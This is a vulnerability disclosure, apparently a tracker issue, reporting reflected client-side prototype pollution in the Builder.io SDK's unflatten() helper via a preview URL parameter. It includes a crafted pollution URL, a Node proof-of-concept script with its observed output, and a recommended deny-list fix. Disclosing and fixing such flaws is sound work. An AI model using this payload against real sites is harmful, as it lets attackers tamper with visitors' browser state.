#4824·builder

Reflected client-side prototype pollution via Builder Studio preview URL parameter

Author: geo-chenCreated Aug 25, 2026Updated Aug 25, 2026

reported via email on 5 July 2026:

Hi team,

packages/sdks/src/functions/get-content/generate-content-url.ts reads builder.userAttributes.* query parameters from the page URL whenever the URL contains builder.preview=BUILDER_STUDIO, and passes them through unflatten() (packages/sdks/src/helpers/flatten.ts) without validating the key path.

typescript
const queryOptionsForUserAttributes = getUserAttributesFromQueryOptions(queryOptions);
const { userAttributes } = unflatten(queryOptionsForUserAttributes);

unflatten() has no __proto__/prototype/constructor guard, so a URL such as:

https://victim-site.example/some-page?builder.preview=BUILDER_STUDIO&builder.userAttributes.__proto__.polluted=PWNED_CLIENT_SIDE

pollutes Object.prototype in the visitor's browser tab as soon as the SDK builds its next content-fetch URL, requiring no Builder.io account and only a single click on the crafted link.

We confirmed this live against the unmodified source at commit 27e443e125c8e7f619335403cc0ecb01e03197a0. Simulating that URL and calling generateContentUrl():

  • Before: ({}).polluted === undefined
  • After: ({}).polluted === 'PWNED_CLIENT_SIDE', on a brand-new, unrelated object in the same browser context.

PoC

Environment: cloned repo at commit 27e443e125c8e7f619335403cc0ecb01e03197a0, Node.js v22.12.0, npx tsx, faking window/document before import (the standard way to exercise isomorphic browser-only SDK code from Node, no repo files modified):

typescript
(globalThis as any).document = {};
(globalThis as any).window = {
  location: {
    search: '?builder.preview=BUILDER_STUDIO&builder.userAttributes.__proto__.polluted=PWNED_CLIENT_SIDE',
    pathname: '/some-page',
    host: 'victim-site.example',
  },
};

import { generateContentUrl } from '<repo>/packages/sdks/src/functions/get-content/generate-content-url.ts';

console.log('before:', ({} as any).polluted);
const url = generateContentUrl({ apiKey: 'demo-api-key', model: 'page' } as any);
console.log('url:', url.toString());
console.log('after:', ({} as any).polluted);

Actual observed output:

=== Reflected client-side prototype pollution via URL query string ===

Simulated victim URL: https://victim-site.example/some-page?builder.preview=BUILDER_STUDIO&builder.userAttributes.__proto__.polluted=PWNED_CLIENT_SIDE

Host (browser-tab) Object.prototype BEFORE:
  ({}).polluted = undefined

generateContentUrl() returned (normal Content API request URL):
  https://cdn.builder.io/api/v3/content/page?apiKey=demo-api-key&limit=30&noTraverse=true&includeRefs=true&omit=meta.componentsUsed&preview=BUILDER_STUDIO&polluted=PWNED_CLIENT_SIDE&userAttributes=%7B%22urlPath%22%3A%22%2Fsome-page%22%2C%22host%22%3A%22victim-site.example%22%7D

Host (browser-tab) Object.prototype AFTER:
  ({}).polluted = PWNED_CLIENT_SIDE

*** CONFIRMED LIVE: visiting a crafted URL polluted Object.prototype in the visitor's own browser tab ***

(full script available upon request)

This is the same bug class as a separate, more severe issue we are reporting in packages/sdks/src/functions/set.ts (server-side, via content block bindings), and the fix is the same: the older Gen1 SDK's packages/core/src/classes/query-string.class.ts already has a PROPERTY_NAME_DENY_LIST = ['__proto__', 'prototype', 'constructor'] guard for the equivalent dotted-path parsing; the same check should be added to unflatten() in packages/sdks/src/helpers/flatten.ts.